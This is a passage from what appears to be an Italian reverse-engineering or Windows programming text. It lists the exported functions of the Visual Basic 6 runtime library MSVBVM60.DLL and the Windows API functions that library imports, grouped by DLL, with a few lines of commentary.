   55 DllGetClassObject
   56 _CIatan
   57 _CIcos
   58 _CIexp
   59 _CIlog
   60 _CIsin
   61 _CIsqrt
   62 _CItan
   63 __vbaAptOffset
   64 __vbaAryConstruct2
   65 __vbaAryConstruct
   66 __vbaAryCopy
   67 __vbaAryDestruct
   68 __vbaAryMove
   69 __vbaAryRebase1Var
   70 __vbaAryRecCopy
   71 __vbaAryRecMove
   72 __vbaAryUnlock
   73 __vbaAryVar
   74 __vbaBoolStr
   75 __vbaBoolVar
   76 __vbaBoolVarNull
   77 __vbaCVarAryUdt
   78 __vbaCastObj
   79 __vbaCastObjVar
   80 __vbaCheckType
   81 __vbaCheckTypeVar
   82 __vbaChkstk
   83 __vbaCopyBytes
   84 __vbaCopyBytesZero
   85 __vbaCyAbs
   86 ProcCallEngine
   87 DllFunctionCall
   88 __vbaCyAdd
   89 __vbaCyErrVar
   90 CopyRecord
   91 __vbaCyFix
   92 __vbaCyForInit
   93 __vbaCyForNext
   94 __vbaCyI2
   95
TipGetAddressOfPredeclaredIn
stance
   96 __vbaCyI4
   97 __vbaCyInt
   98 __vbaCyMul
   99 MethCallEngine
  100 __vbaCyMulI2
  101 __vbaCySgn
  102 __vbaCyStr
  103 __vbaCySub
  104 __vbaCyUI1
  105 __vbaCyVar
  106 __vbaDateR4
  107 __vbaDateR8
  108 __vbaDateStr
  109 __vbaDateVar
  110 __vbaDerefAry
  111 __vbaDerefAry1
  112 __vbaEnd
  113 __vbaErase
  114 __vbaEraseKeepData
  115 __vbaEraseNoPop
  116 __vbaError
  117 __vbaErrorOverflow
  118 __vbaExceptHandler
  119 __vbaExitEachAry
  120 TipSetOption
  121 __vbaExitEachColl
  122 __vbaExitEachVar
  123 __vbaExitProc
  124 __vbaFPException
  125 __vbaFPFix
  126 __vbaFPInt
  127 TipUnloadProject
  128 __vbaFailedFriend
  129 __vbaFileClose
  130
TipCreateInstanceProject2
  131 EbResetProject
  132
EbGetHandleOfExecutingProjec
t
  133 __vbaFileCloseAll
  134 __vbaFileLock
  135 __vbaFileOpen
  136 __vbaFileSeek
  137 __vbaFixstrConstruct
  138 __vbaForEachAry
  139 __vbaForEachCollAd
  140 __vbaForEachCollObj
  141 __vbaForEachCollVar
  142 __vbaForEachVar
  143 __vbaFreeObjList
  144 __vbaFreeStrList
  145 __vbaFreeVarList
  146
__vbaGenerateBoundsError
  147 __vbaGet3
  148 __vbaGet4
  149 __vbaGetFxStr3
  150 __vbaGetFxStr4
  151 __vbaGetOwner3
  152 __vbaGetOwner4
  153 __vbaGosub
  154 __vbaGosubFree
  155 __vbaGosubReturn
  156 __vbaHresultCheck
  157
__vbaHresultCheckNonvirt
  158 __vbaHresultCheckObj
  159 __vbaI2Cy
  160 __vbaI2ErrVar
  161 __vbaI2ForNextCheck
  162 __vbaI2Str
  163 __vbaI2Var
  164 __vbaI4Cy
  165 EbResetProjectNormal
  166 TipUnloadInstance
  167 __vbaI4ErrVar
  168 EbLibraryLoad
  169 EbLibraryUnload
  170 __vbaI4ForNextCheck
  171 EbLoadRunTime
  172 __vbaI4Str
  173 __vbaI4Var
  174 EbCreateContext
  175 EbDestroyContext
  176
EbSetContextWorkerThread
  177 __vbaInStr
  178 __vbaInStrB
  179 __vbaInStrVar
  180 __vbaInStrVarB
  181 __vbaInputFile
  182 __vbaLateIdCall
  183 __vbaLateIdCallLd
  184 EbGetErrorInfo
  185 __vbaLateIdCallSt
  186 __vbaLateIdNamedCall
  187 __vbaLateIdNamedCallLd
  188 __vbaLateIdNamedCallSt
  189 __vbaLateIdNamedStAd
  190 __vbaLateIdSt
  191 __vbaLateIdStAd
  192 __vbaLateMemCall
  193 __vbaLateMemCallLd
  194 __vbaLateMemCallSt
  195 __vbaLateMemNamedCall
  196
__vbaLateMemNamedCallLd
  197
__vbaLateMemNamedCallSt
  198 EbIsProjectOnStack
  199 TipCreateInstanceEx
  200 GetMem2
  201 GetMem4
  202 GetMem8
  203 GetMemStr
  204 GetMemVar
  205 GetMemObj
  206 PutMem2
  207 PutMem4
  208 PutMem8
  209 PutMemStr
  210 PutMemVar
  211 PutMemObj
  212 SetMemVar
  213 SetMemObj
  214 GetMemNewObj
  215 PutMemNewObj
  216 SetMemNewObj
  217 GetMem1
  218 PutMem1
  219 GetMemEvent
  220 PutMemEvent
  221 SetMemEvent
  222 __vbaLateMemNamedStAd
  223 __vbaLateMemSt
  224 __vbaLateMemStAd
  225 __vbaLbound
  226 __vbaLdZeroAry
  227 __vbaLenBstr
  228 __vbaLenBstrB
  229 __vbaLenVar
  230 __vbaLenVarB
  231 __vbaLineInputStr
  232 __vbaLineInputVar
  233 __vbaLsetFixstr
  234 __vbaLsetFixstrFree
```

```
  235 __vbaMidStmtBstr
  236 __vbaMidStmtBstrB
  237 __vbaMidStmtVar
  238 __vbaMidStmtVarB
  239 __vbaNameFile
  240 __vbaNew2
  241 __vbaNew
  242 __vbaNextEachAry
  243 __vbaNextEachCollAd
  244 __vbaNextEachCollObj
  245 __vbaNextEachCollVar
  246 __vbaNextEachVar
  247 __vbaObjAddref
  248 __vbaObjIs
  249 __vbaObjSet
  250 __vbaObjSetAddref
  251 __vbaObjVar
  252 __vbaOnError
  253 __vbaOnGoCheck
  254 __vbaPowerR8
  255 __vbaPrintFile
  256 __vbaPrintObj
  257 __vbaPut3
  258 __vbaPut4
  259 __vbaPutFxStr3
  260 __vbaPutFxStr4
  261 __vbaPutOwner3
  262 __vbaPutOwner4
  263 __vbaR4Cy
  264 __vbaR4ErrVar
  265 __vbaR4ForNextCheck
  266 __vbaR4Sgn
  267 __vbaR4Str
  268 __vbaR4Var
  269 __vbaR8Cy
  270 __vbaR8ErrVar
  271 __vbaR8FixI2
  272 __vbaR8FixI4
  273 __vbaR8ForNextCheck
  274 __vbaR8IntI2
  275 __vbaR8IntI4
  276 __vbaR8Sgn
  277 __vbaR8Str
  278 __vbaR8Var
  279 __vbaRaiseEvent
  280 __vbaRecAnsiToUni
  281 __vbaRecAssign
  282 __vbaRecDestruct
  283 __vbaRecDestructAnsi
  284 __vbaRecUniToAnsi
  285 __vbaRedim
  286 __vbaRedimPreserve
  287 __vbaRedimPreserveVar
  288 __vbaRedimPreserveVar2
  289 __vbaRedimVar
  290 __vbaRefVarAry
  291 __vbaResume
  292 __vbaRsetFixstr
  293 __vbaRsetFixstrFree
  294 __vbaSetSystemError
  295 __vbaStopExe
  296 __vbaStr2Vec
  297 __vbaStrAryToAnsi
  298 __vbaStrAryToUnicode
  299 __vbaStrBool
  300
EVENT_SINK_QueryInterface
  301 EVENT_SINK_AddRef
  302 EVENT_SINK_Release
  303
EVENT_SINK_GetIDsOfNames
  304 EVENT_SINK_Invoke
  305 __vbaStrCat
  306 __vbaStrCmp
  307 __vbaStrComp
  308 __vbaStrCompVar
  309 __vbaStrCy
```

```
  310
BASIC_CLASS_QueryInterface
  311 BASIC_CLASS_AddRef
  312 BASIC_CLASS_Release
  313
BASIC_CLASS_GetIDsOfNames
  314 BASIC_CLASS_Invoke
  315 __vbaStrDate
  316 __vbaStrFixstr
  317 __vbaStrI2
  318 __vbaStrI4
  319 __vbaStrLike
  320
BASIC_DISPINTERFACE_GetTICou
nt
  321
BASIC_DISPINTERFACE_GetTypeI
nfo
  322 __vbaStrR4
  323 __vbaStrR8
  324 __vbaStrTextCmp
  325 __vbaStrTextLike
  326 __vbaStrToAnsi
  327 __vbaStrToUnicode
  328 __vbaStrUI1
  329 __vbaStrVarCopy
  330 Zombie_QueryInterface
  331 Zombie_AddRef
  332 Zombie_Release
  333
Zombie_GetTypeInfoCount
  334 Zombie_GetTypeInfo
  335 Zombie_GetIDsOfNames
  336 Zombie_Invoke
  337 __vbaStrVarMove
  338 __vbaStrVarVal
  339 __vbaUI1Cy
  340 EVENT_SINK2_AddRef
  341 EVENT_SINK2_Release
  342 __vbaUI1ErrVar
  343 __vbaUI1Str
  344 __vbaUI1Var
  345 __vbaUbound
  346 __vbaUdtVar
  347 __vbaUnkVar
  348 __vbaVar2Vec
  349 __vbaVarAbs
  350 __vbaVarAdd
  351 __vbaVarAnd
  352 __vbaVarCat
  353 __vbaVarCmpEq
  354 __vbaVarCmpGe
  355 __vbaVarCmpGt
  356 __vbaVarCmpLe
  357 __vbaVarCmpLt
  358 __vbaVarCmpNe
  359 __vbaVarDateVar
  360 __vbaVarDiv
  361 __vbaVarEqv
  362 __vbaVarErrI4
  363 __vbaVarFix
  364 __vbaVarForInit
  365 __vbaVarForNext
  366 __vbaVarIdiv
  367 __vbaVarImp
  368 __vbaVarIndexLoad
  369 __vbaVarIndexLoadRef
  370
__vbaVarIndexLoadRefLock
  371 __vbaVarIndexStore
  372 __vbaVarIndexStoreObj
  373 __vbaVarInt
  374 __vbaVarLike
  375 __vbaVarLikeVar
  376 __vbaVarMod
  377 __vbaVarMul
  378 __vbaVarNeg
  379 __vbaVarNot
```

```
  380 __vbaVarOr
  381 __vbaVarPow
  382 __vbaVarSetObj
  383 __vbaVarSetObjAddref
  384 __vbaVarSetUnk
  385 __vbaVarSetUnkAddref
  386 __vbaVarSetVar
  387 __vbaVarSetVarAddref
  388 __vbaVarSub
  389 __vbaVarTextCmpEq
  390 __vbaVarTextCmpGe
  391 __vbaVarTextCmpGt
  392 __vbaVarTextCmpLe
  393 __vbaVarTextCmpLt
  394 __vbaVarTextCmpNe
  395 __vbaVarTextLike
  396 __vbaVarTextLikeVar
  397 __vbaVarTextTstEq
  398 __vbaVarTextTstGe
  399 __vbaVarTextTstGt
  400 __vbaVarTextTstLe
  401 __vbaVarTextTstLt
  402 __vbaVarTextTstNe
  403 __vbaVarTstEq
  404 __vbaVarTstGe
  405 __vbaVarTstGt
  406 __vbaVarTstLe
  407 __vbaVarTstLt
  408 __vbaVarTstNe
  409 __vbaVarXor
  410 __vbaVargObj
  411 __vbaVargObjAddref
  412 rtcLeftBstr
  413 rtcLeftVar
  414 rtcRightBstr
  415 rtcRightVar
  416 rtcAnsiValueBstr
  417 rtcLowerCaseBstr
  418 rtcLowerCaseVar
  419 rtcTrimBstr
  420 rtcTrimVar
  421 rtcLeftTrimBstr
  422 rtcLeftTrimVar
  423 rtcRightTrimBstr
  424 rtcRightTrimVar
  425 rtcSpaceBstr
  426 rtcSpaceVar
  427 rtcUpperCaseBstr
  428 rtcUpperCaseVar
  429 rtcKillFiles
  430 rtcChangeDir
  431 rtcMakeDir
  432 rtcRemoveDir
  433 rtcChangeDrive
  434 rtcBeep
  435 rtcGetTimer
  436 rtcStrFromVar
  437 rtcBstrFromAnsi
  438 rtcPackDate
  439 rtcPackTime
  440 rtcGetDateValue
  441 rtcGetTimeValue
  442 rtcGetDayOfMonth
  443 rtcGetHourOfDay
  444 rtcGetMinuteOfHour
  445 rtcGetMonthOfYear
  446 rtcGetPresentDate
  447 rtcGetSecondOfMinute
  448 rtcSetDateVar
  449 rtcSetDateBstr
  450 rtcSetTimeVar
  451 rtcSetTimeBstr
  452 rtcGetDayOfWeek
  453 rtcGetYear
  454 rtcFileReset
  455 rtcFileAttributes
  456 rtcIsArray
  457 rtcIsDate
```

```
458 rtcIsEmpty
459 rtcIsError
460 rtcIsNull
461 rtcIsNumeric
462 rtcIsObject
463 rtcVarType
464 rtDecFromVar
465 rtcFileWidth
466 rtcInputCount
467 rtcInputCountVar
468 rtcFileSeek
469 rtcFileLocation
470 rtcFileLength
471 rtcEndOfFile
472 rtcHexBstrFromVar
473 rtcHexVarFromVar
474 rtcOctBstrFromVar
475 rtcOctVarFromVar
476 rtcFileCopy
477 rtcFileDateTime
478 rtcFileLen
479 rtcGetFileAttr
480 rtcSetFileAttr
481 rtcR8ValFromBstr
482 rtcSin
483 rtcCos
484 rtcTan
485 rtcAtn
486 rtcExp
487 rtcLog
488 rtcRgb
489 rtcQBColor
490 rtcMacId
491 rtcTypeName
492 rtcIsMissing
493 rtcRandomNext
494 rtcRandomize
495 rtcMsgBox
496 rtcInputBox
497 rtcAppActivate
498 rtcDoEvents
499 rtcSendKeys
500 rtcShell
501 rtcArray
502 __vbaVargUnk
503 __vbaVargUnkAddref
504 __vbaVerifyVarObj
505 rtcGetErl
506 rtcStringBstr
507 rtcStringVar
508 rtcVarBstrFromAnsi
509 rtcGetDateBstr
510 rtcGetDateVar
511 rtcGetTimeBstr
512 rtcGetTimeVar
513 rtcVarStrFromVar
514 rtcSqr
515 rtcIMEStatus
516 rtcLeftCharBstr
517 rtcLeftCharVar
```

```
518 rtcRightCharBstr
519 rtcRightCharVar
520 rtcInputCharCount
521 rtcInputCharCountVar
522 rtcStrConvVar
523 __vbaWriteFile
524 rtcGetHostLCID
525 rtcCreateObject
526 rtcGetObject
527 rtcAppleScript
528 rtcMidBstr
529 rtcMidVar
530 rtcInStr
531 rtcMidCharBstr
532 rtcMidCharVar
533 rtcInStrChar
534 rtBstrFromErrVar
535 rtBoolFromErrVar
536 rtCyFromErrVar
537 rtI2FromErrVar
538 rtI4FromErrVar
539 rtR4FromErrVar
540 rtR8FromErrVar
541 rtcDateFromVar
542 rtcVarFromVar
543 rtcCVErrFromVar
544 VarPtr
545 rtcDir
546 rtcCurrentDirBstr
547 rtcCurrentDir
548 rtcFreeFile
549 rtcCompareBstr
550 rtcBstrFromFormatVar
551 rtcBstrFromError
552 rtcVarFromError
553 rtcLenCharVar
554 rtcLenVar
555 rtcFixVar
556 rtcAbsVar
557 rtcIntVar
558 rtcSgnVar
559 _adj_fdiv_m16i
560 rtcVarFromFormatVar
561 rtcDateAdd
562 rtcDateDiff
563 rtcDatePart
564 rtcPartition
565 rtcChoose
566 rtcEnvironVar
567 rtcEnvironBstr
568 rtcSwitch
569 rtcCommandBstr
570 rtcCommandVar
571 rtcSLN
572 rtcSYD
573 rtcDDB
574 rtcIPMT
575 rtcPPMT
576 rtcPMT
577 rtcPV
```

```
578 rtcFV
579 rtcNPer
580 rtcRate
581 rtcImmediateIf
582 rtcIRR
583 rtcMIRR
584 rtcNPV
585 rtcErrObj
586 rtUI1FromErrVar
587 rtcVarDateFromVar
588 _adj_fdiv_m32
589 rtcGetSetting
590 rtcSaveSetting
591 rtcDeleteSetting
592 rtcGetAllSettings
593 rtcByteValueBstr
594 rtcBstrFromByte
595 rtcVarBstrFromByte
596 rtcCharValueBstr
597 rtcBstrFromChar
598 rtcVarBstrFromChar
599 rtcSetCurrentCalendar

600 rtcGetCurrentCalendar
601 _adj_fdiv_m32i
602 rtcFormatNumber
603 rtcFormatCurrency
604 rtcFormatPercent
605 rtcFormatDateTime
606 rtcWeekdayName
607 rtcMonthName
608 rtcFilter
609 rtcInStrRev
610 rtcJoin
611 rtcSplit
612 rtcReplace
613 rtcStrReverse
614 rtcRound
615 rtcCallByName
616 rtcCreateObject2
617 rtcStrConvVar2
618 _adj_fdiv_m64
619 _adj_fdiv_r
620 _adj_fdivr_m16i
621 _adj_fdivr_m32
622 _adj_fdivr_m32i
623 _adj_fdivr_m64
624 _adj_fpatan
625 _adj_fprem
626 _adj_fprem1
627 _adj_fptan
628 _allmul
899 TipInvokeMethod2
916 TipInvokeMethod
924 IID_IVbaHost
925
EbGetObjConnectionCounts
1900 CreateIExprSrvObj
1910 EbGetVBAObject
```

Comunque della serie tutto finisce in chiamate API ecco l’albero gerarchico delle DLL.
A livello di kernel32.dll, gdi32.dll ecc. si troveranno le varie funzioni che sono viste nel capitolo relativo alle API Windows.
Queste che seguono sono sono le funzioni importate.
A fianco ci trovate le DLL a cui si riferiscono.
In ogni caso andando a cercare le funzioni relative alle routines di serializzazione dovremo cercare le funzioni elencate precedentemente.

Imported functions f:\WINNT\SYSTEM32\MSVBVM60.DLL

DLL	Ord	Function
ADVAPI32	10	AdjustTokenPrivileges
ADVAPI32	76	DeregisterEventSource
ADVAPI32	170	InitializeSecurityDescriptor
ADVAPI32	191	LookupPrivilegeValueA
ADVAPI32	260	OpenProcessToken
ADVAPI32	279	RegCloseKey
ADVAPI32	282	RegCreateKeyA
ADVAPI32	285	RegCreateKeyW
ADVAPI32	286	RegDeleteKeyA
ADVAPI32	287	RegDeleteKeyW
ADVAPI32	288	RegDeleteValueA
ADVAPI32	289	RegDeleteValueW
ADVAPI32	290	RegEnumKeyA
ADVAPI32	291	RegEnumKeyExA
ADVAPI32	293	RegEnumKeyW
ADVAPI32	294	RegEnumValueA
ADVAPI32	295	RegEnumValueW
ADVAPI32	301	RegOpenKeyA
ADVAPI32	302	RegOpenKeyExA
ADVAPI32	304	RegOpenKeyW
ADVAPI32	305	RegQueryInfoKeyA
ADVAPI32	309	RegQueryValueA
ADVAPI32	310	RegQueryValueExA
ADVAPI32	311	RegQueryValueExW
ADVAPI32	320	RegSetValueA
ADVAPI32	321	RegSetValueExA
ADVAPI32	322	RegSetValueExW
ADVAPI32	326	RegisterEventSourceA
ADVAPI32	332	ReportEventA
ADVAPI32	348	SetSecurityDescriptorDacl
GDI32	0	AbortDoc
GDI32	7	Arc
GDI32	9	BeginPath
GDI32	10	BitBlt
GDI32	15	CloseEnhMetaFile
GDI32	17	CloseMetaFile
GDI32	19	CombineRgn
GDI32	21	CopyEnhMetaFileA
GDI32	23	CopyMetaFileA
GDI32	25	CreateBitmap
GDI32	27	CreateBrushIndirect
GDI32	30	CreateCompatibleBitmap
GDI32	31	CreateCompatibleDC
GDI32	32	CreateDCA
GDI32	36	CreateDIBSection
GDI32	37	CreateDIBitmap
GDI32	40	CreateEllipticRgnIndirect
GDI32	41	CreateEnhMetaFileA
GDI32	44	CreateFontIndirectA
GDI32	47	CreateHalftonePalette
GDI32	48	CreateHatchBrush
GDI32	49	CreateICA
GDI32	51	CreateMetaFileA
GDI32	53	CreatePalette
GDI32	54	CreatePatternBrush
GDI32	55	CreatePen
GDI32	56	CreatePenIndirect
GDI32	59	CreateRectRgn
GDI32	60	CreateRectRgnIndirect
GDI32	61	CreateRoundRectRgn
GDI32	64	CreateSolidBrush
GDI32	67	DeleteDC
GDI32	68	DeleteEnhMetaFile
GDI32	69	DeleteMetaFile
GDI32	70	DeleteObject
GDI32	75	Ellipse
GDI32	76	EndDoc
GDI32	77	EndPage
GDI32	78	EndPath
GDI32	84	EnumFontsA
GDI32	90	EqualRgn
GDI32	91	Escape
GDI32	92	ExcludeClipRect
GDI32	94	ExtCreateRegion
GDI32	97	ExtSelectClipRgn
GDI32	98	ExtTextOutA

DLL	Ord	Function
GDI32	171	GetBitmapBits
GDI32	173	GetBkColor
GDI32	190	GetClipBox
GDI32	194	GetCurrentObject
GDI32	198	GetDIBits
GDI32	199	GetDeviceCaps
GDI32	206	GetEnhMetaFileHeader
GDI32	226	GetMapMode
GDI32	232	GetNearestColor
GDI32	234	GetObjectA
GDI32	235	GetObjectType
GDI32	239	GetPaletteEntries
GDI32	241	GetPixel
GDI32	244	GetROP2
GDI32	250	GetStockObject
GDI32	252	GetSystemPaletteEntries
GDI32	258	GetTextColor
GDI32	261	GetTextExtentPoint32A
GDI32	263	GetTextExtentPointA
GDI32	267	GetTextMetricsA
GDI32	270	GetViewportExtEx
GDI32	273	GetWindowExtEx
GDI32	274	GetWindowOrgEx
GDI32	276	IntersectClipRect
GDI32	278	LPtoDP
GDI32	280	LineTo
GDI32	283	MoveToEx
GDI32	286	OffsetRgn
GDI32	288	OffsetWindowOrgEx
GDI32	290	PatBlt
GDI32	291	PathToRegion
GDI32	292	Pie
GDI32	293	PlayEnhMetaFile
GDI32	295	PlayMetaFile
GDI32	309	PtInRegion
GDI32	311	RealizePalette
GDI32	314	Rectangle
GDI32	318	ResetDCA
GDI32	321	RestoreDC
GDI32	322	RoundRect
GDI32	323	SaveDC
GDI32	324	ScaleViewportExtEx
GDI32	325	ScaleWindowExtEx
GDI32	328	SelectClipRgn
GDI32	330	SelectObject
GDI32	331	SelectPalette
GDI32	332	SetAbortProc
GDI32	336	SetBkColor
GDI32	337	SetBkMode
GDI32	339	SetBrushOrgEx
GDI32	342	SetDIBColorTable
GDI32	353	SetMapMode
GDI32	361	SetPixelV
GDI32	363	SetROP2
GDI32	364	SetRectRgn
GDI32	366	SetStretchBltMode
GDI32	368	SetTextAlign
GDI32	370	SetTextColor
GDI32	372	SetViewportExtEx
GDI32	373	SetViewportOrgEx
GDI32	376	SetWindowExtEx
GDI32	377	SetWindowOrgEx
GDI32	379	StartDocA
GDI32	381	StartPage
GDI32	382	StretchBlt
GDI32	383	StretchDIBits
GDI32	387	TextOutA
GDI32	389	TranslateCharsetInfo
GDI32	391	UnrealizeObject
GDI32	396	WidenPath
KERNEL32	24	CloseHandle
KERNEL32	30	CompareStringA
KERNEL32	31	CompareStringW
KERNEL32	42	CreateDirectoryA
KERNEL32	46	CreateEventA
KERNEL32	49	CreateFileA

```
KERNEL32    61 CreateProcessA
KERNEL32    62 CreateProcessW
KERNEL32    64 CreateSemaphoreA
KERNEL32    67 CreateThread
KERNEL32    76 DeleteCriticalSection
KERNEL32    78 DeleteFileA
KERNEL32    85 DuplicateHandle
KERNEL32    88 EnterCriticalSection
KERNEL32   107 ExitProcess
KERNEL32   108 ExitThread
KERNEL32   119 FileTimeToLocalFileTime
KERNEL32   120 FileTimeToSystemTime
KERNEL32   126 FindClose
KERNEL32   130 FindFirstFileA
KERNEL32   135 FindNextFileA
KERNEL32   137 FindResourceA
KERNEL32   142 FlushFileBuffers
KERNEL32   143 FlushInstructionCache
KERNEL32   147 FormatMessageA
KERNEL32   148 FormatMessageW
KERNEL32   150 FreeEnvironmentStringsA
KERNEL32   151 FreeEnvironmentStringsW
KERNEL32   152 FreeLibrary
KERNEL32   154 FreeResource
KERNEL32   157 GetACP
KERNEL32   163 GetCPInfo
KERNEL32   170 GetCommandLineA
KERNEL32   174 GetComputerNameA
KERNEL32   209 GetCurrentDirectoryA
KERNEL32   211 GetCurrentProcess
KERNEL32   212 GetCurrentProcessId
KERNEL32   214 GetCurrentThreadId
KERNEL32   223 GetDriveTypeA
KERNEL32   225 GetEnvironmentStrings
KERNEL32   227 GetEnvironmentStringsW
KERNEL32   228 GetEnvironmentVariableA
KERNEL32   230 GetExitCodeProcess
KERNEL32   232 GetFileAttributesA
KERNEL32   238 GetFileTime
KERNEL32   239 GetFileType
KERNEL32   240 GetFullPathNameA
KERNEL32   244 GetLastError
KERNEL32   245 GetLocalTime
KERNEL32   246 GetLocaleInfoA
KERNEL32   252 GetModuleFileNameA
KERNEL32   253 GetModuleFileNameW
KERNEL32   254 GetModuleHandleA
KERNEL32   265 GetOEMCP
KERNEL32   274 GetPrivateProfileStringA
KERNEL32   278 GetProcAddress
KERNEL32   291 GetProfileStringA
KERNEL32   294 GetShortPathNameA
KERNEL32   296 GetStartupInfoA
KERNEL32   298 GetStdHandle
KERNEL32   299 GetStringTypeA
KERNEL32   300 GetStringTypeExA
KERNEL32   302 GetStringTypeW
KERNEL32   303 GetSystemDefaultLCID
KERNEL32   304 GetSystemDefaultLangID
KERNEL32   305 GetSystemDirectoryA
KERNEL32   307 GetSystemInfo
KERNEL32   309 GetSystemTime
KERNEL32   315 GetTempFileNameA
KERNEL32   317 GetTempPathA
KERNEL32   325 GetTickCount
KERNEL32   328 GetTimeZoneInformation
KERNEL32   329 GetUserDefaultLCID
KERNEL32   330 GetUserDefaultLangID
KERNEL32   332 GetVersion
KERNEL32   333 GetVersionExA
KERNEL32   335 GetVolumeInformationA
KERNEL32   337 GetWindowsDirectoryA
KERNEL32   339 GlobalAddAtomA
KERNEL32   341 GlobalAlloc
KERNEL32   343 GlobalDeleteAtom
KERNEL32   348 GlobalFree
KERNEL32   351 GlobalHandle
KERNEL32   352 GlobalLock
```

```
KERNEL32   354 GlobalReAlloc
KERNEL32   355 GlobalSize
KERNEL32   358 GlobalUnlock
KERNEL32   360 HeapAlloc
KERNEL32   362 HeapCreate
KERNEL32   364 HeapDestroy
KERNEL32   366 HeapFree
KERNEL32   369 HeapReAlloc
KERNEL32   370 HeapSize
KERNEL32   377 InitializeCriticalSection
KERNEL32   379 InterlockedDecrement
KERNEL32   382 InterlockedIncrement
KERNEL32   384 IsBadCodePtr
KERNEL32   387 IsBadReadPtr
KERNEL32   391 IsDBCSLeadByte
KERNEL32   397 LCMapStringA
KERNEL32   398 LCMapStringW
KERNEL32   399 LeaveCriticalSection
KERNEL32   400 LoadLibraryA
KERNEL32   401 LoadLibraryExA
KERNEL32   405 LoadResource
KERNEL32   417 LockFile
KERNEL32   419 LockResource
KERNEL32   422 MoveFileA
KERNEL32   426 MulDiv
KERNEL32   427 MultiByteToWideChar
KERNEL32   457 RaiseException
KERNEL32   470 ReadFile
KERNEL32   478 ReleaseSemaphore
KERNEL32   479 RemoveDirectoryA
KERNEL32   481 ResetEvent
KERNEL32   482 ResumeThread
KERNEL32   485 RtlUnwind
KERNEL32   489 SearchPathA
KERNEL32   524 SetCurrentDirectoryA
KERNEL32   528 SetEndOfFile
KERNEL32   529 SetEnvironmentVariableA
KERNEL32   531 SetErrorMode
KERNEL32   532 SetEvent
KERNEL32   535 SetFileAttributesA
KERNEL32   537 SetFilePointer
KERNEL32   538 SetFileTime
KERNEL32   539 SetHandleCount
KERNEL32   542 SetLastError
KERNEL32   543 SetLocalTime
KERNEL32   553 SetStdHandle
KERNEL32   574 SizeofResource
KERNEL32   575 Sleep
KERNEL32   580 SystemTimeToFileTime
KERNEL32   582 TerminateProcess
KERNEL32   584 TlsAlloc
KERNEL32   585 TlsFree
KERNEL32   586 TlsGetValue
KERNEL32   587 TlsSetValue
KERNEL32   592 UnhandledExceptionFilter
KERNEL32   593 UnlockFile
KERNEL32   603 VirtualAlloc
KERNEL32   606 VirtualFree
KERNEL32   609 VirtualProtect
KERNEL32   611 VirtualQuery
KERNEL32   618 WaitForSingleObject
KERNEL32   622 WideCharToMultiByte
KERNEL32   623 WinExec
KERNEL32   635 WriteFile
KERNEL32   651 _lclose
KERNEL32   653 _llseek
KERNEL32   655 _lread
KERNEL32   656 _lwrite
KERNEL32   658 lstrcatA
KERNEL32   661 lstrcmpA
KERNEL32   664 lstrcmpiA
KERNEL32   665 lstrcmpiW
KERNEL32   667 lstrcpyA
KERNEL32   668 lstrcpyW
KERNEL32   670 lstrcpynA
KERNEL32   673 lstrlenA
KERNEL32   674 lstrlenW
OLE32        0 BindMoniker
```

```
OLE32        5 CLSIDFromProgID
OLE32        6 CLSIDFromString
OLE32       11 CoCreateGuid
OLE32       12 CoCreateInstance
OLE32       14 CoDisconnectObject
OLE32       20 CoFreeUnusedLibraries
OLE32       23 CoGetClassObject
OLE32       29 CoGetMalloc
OLE32       43 CoIsOle1Class
OLE32       45 CoLockObjectExternal
OLE32       48 CoMarshalInterface
OLE32       54 CoRegisterClassObject
OLE32       56 CoRegisterMessageFilter
OLE32       62 CoRevokeClassObject
OLE32       68 CoTaskMemAlloc
OLE32       69 CoTaskMemFree
OLE32       75 CoUnmarshalInterface
OLE32       77 CreateBindCtx
OLE32       79 CreateDataAdviseHolder
OLE32       84 CreateILockBytesOnHGlobal
OLE32       86 CreateOleAdviseHolder
OLE32       88 CreateStreamOnHGlobal
OLE32       92 DoDragDrop
OLE32       95 GetClassFile
OLE32      143 IIDFromString
OLE32      144 IsAccelerator
OLE32      150 MkParseDisplayName
OLE32      154 OleConvertIStorageToOLESTREAM
OLE32      156 OleConvertOLESTREAMToIStorage
OLE32      162 OleCreateFromData
OLE32      164 OleCreateFromFile
OLE32      166 OleCreateLink
OLE32      168 OleCreateLinkFromData
OLE32      170 OleCreateLinkToFile
OLE32      172 OleCreateMenuDescriptor
OLE32      174 OleDestroyMenuDescriptor
OLE32      175 OleDoAutoConvert
OLE32      177 OleDuplicateData
OLE32      178 OleFlushClipboard
OLE32      179 OleGetAutoConvert
OLE32      180 OleGetClipboard
OLE32      181 OleGetIconOfClass
OLE32      183 OleInitialize
OLE32      185 OleIsCurrentClipboard
OLE32      186 OleIsRunning
OLE32      187 OleLoad
OLE32      189 OleLockRunning
OLE32      192 OleQueryCreateFromData
OLE32      193 OleQueryLinkFromData
OLE32      196 OleRegGetMiscStatus
OLE32      197 OleRegGetUserType
OLE32      198 OleRun
OLE32      199 OleSave
OLE32      200 OleSaveToStream
OLE32      202 OleSetClipboard
OLE32      204 OleSetMenuDescriptor
OLE32      205 OleTranslateAccelerator
OLE32      206 OleUninitialize
OLE32      208 ProgIDFromCLSID
OLE32      213 ReadClassStg
OLE32      214 ReadClassStm
OLE32      218 RegisterDragDrop
OLE32      219 ReleaseStgMedium
OLE32      220 RevokeDragDrop
OLE32      232 StgCreateDocfile
OLE32      233 StgCreateDocfileOnILockBytes
OLE32      237 StgIsStorageILockBytes
OLE32      239 StgOpenStorage
OLE32      240 StgOpenStorageOnILockBytes
OLE32      242 StringFromCLSID
OLE32      243 StringFromGUID2
OLE32      254 WriteClassStg
OLEAUT32  2371 OleLoad
USER32       1 AdjustWindowRect
USER32       2 AdjustWindowRectEx
USER32       4 AppendMenuA
USER32       7 AttachThreadInput
USER32       8 BeginDeferWindowPos
```

```
USER32       9 BeginPaint
USER32      10 BringWindowToTop
USER32      17 CallNextHookEx
USER32      18 CallWindowProcA
USER32      29 CharLowerA
USER32      30 CharLowerBuffA
USER32      31 CharLowerBuffW
USER32      33 CharNextA
USER32      36 CharPrevA
USER32      39 CharToOemA
USER32      40 CharToOemBuffA
USER32      43 CharUpperA
USER32      44 CharUpperBuffA
USER32      45 CharUpperBuffW
USER32      48 CheckMenuItem
USER32      52 ChildWindowFromPointEx
USER32      54 ClientToScreen
USER32      55 ClipCursor
USER32      56 CloseClipboard
USER32      60 CopyAcceleratorTableA
USER32      64 CopyRect
USER32      66 CreateAcceleratorTableA
USER32      68 CreateCaret
USER32      69 CreateCursor
USER32      75 CreateDialogParamA
USER32      77 CreateIcon
USER32      83 CreateMenu
USER32      84 CreatePopupMenu
USER32      85 CreateWindowExA
